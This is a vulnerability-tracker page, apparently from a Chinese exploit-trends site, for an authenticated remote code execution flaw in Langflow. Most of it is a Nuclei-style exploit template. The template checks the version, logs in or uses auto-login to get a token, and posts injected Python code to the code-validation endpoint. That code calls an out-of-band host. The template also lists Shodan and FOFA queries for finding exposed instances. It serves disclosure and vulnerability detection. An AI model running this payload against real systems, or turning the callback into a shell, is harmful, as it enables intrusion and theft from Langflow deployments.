CVE-2026-7873: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution

2026-11-09 PoC Public

Description

IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.

Details

CVE
CVE-2026-7873 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-7873

info:
  name: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.
  impact: |
    Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.
  remediation: |
    Update to the latest version beyond 1.10.0.
  reference:
    - https://www.ibm.com/support/pages/node/7278441
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb
    - https://github.com/rmhowe425/POC-CVE-2026-7873
    - https://nvd.nist.gov/vuln/detail/CVE-2026-7873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-7873
    epss-score: 0.06211
    epss-percentile: 0.93567
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 4
    product: langflow
    vendor: langflow-ai
    shodan-query: 'http.title:"Langflow"'
    fofa-query: 'title="Langflow"'
  tags: cve,cve2026,langflow,rce,authenticated,code-injection,ibm,vkev

flow: |
  http(1);
  let inRange = false;
  if (template["langflow_version"] && template["langflow_package"]) {
    let p = String(template["langflow_version"]).split(".");
    let major = parseInt(p[0], 10);
    let minor = parseInt(p[1], 10);
    let patch = parseInt(p[2], 10);
    if (isNaN(patch)) { patch = 0; }
    if (!isNaN(major) && !isNaN(minor)) {
      let atLeast = (major === 1) && (minor > 7 || (minor === 7 && patch >= 2));
      let atMost  = (major === 1) && (minor < 10 || (minor === 10 && patch === 0));
      inRange = atLeast && atMost;
    }
  }
  if (inRange) {
    let token = "";
    http(2);
    if (template["auto_token"]) {
      token = template["auto_token"];
    }
    if (!token) {
      http(3);
      if (template["login_token"]) {
        token = template["login_token"];
      }
    }
    if (token) {
      set("auth_token", token);
      http(4);
    }
  }

http:
  - raw:
      - |
        GET /api/v1/version HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: langflow_version
        internal: true
        part: body
        group: 1
        regex:
          - '"version"\s*:\s*"([0-9][^"]*)"'

      - type: regex
        name: langflow_package
        internal: true
        part: body
        group: 1
        regex:
          - '"package"\s*:\s*"([Ll]angflow)"'

  - raw:
      - |
        GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: auto_token
        internal: true
        part: body
        group: 1
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    extractors:
      - type: regex
        name: login_token
        internal: true
        part: body
        group: 1
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{auth_token}}

        {"code": "@(lambda f: (__import__('urllib.request').request.urlopen('http://{{interactsh-url}}', timeout=8), f)[1])\ndef langflow_check():\n    pass"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "dns", "http")'
# digest: 4a0a004730450221009c8f374799b2208eaaea9a2cb5138f75261e5bf11eca42b7847bbea1040b2f010220722b46204ae69d32548205db83b98e604dd99788e62a5b00e11f42afd26e9790:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life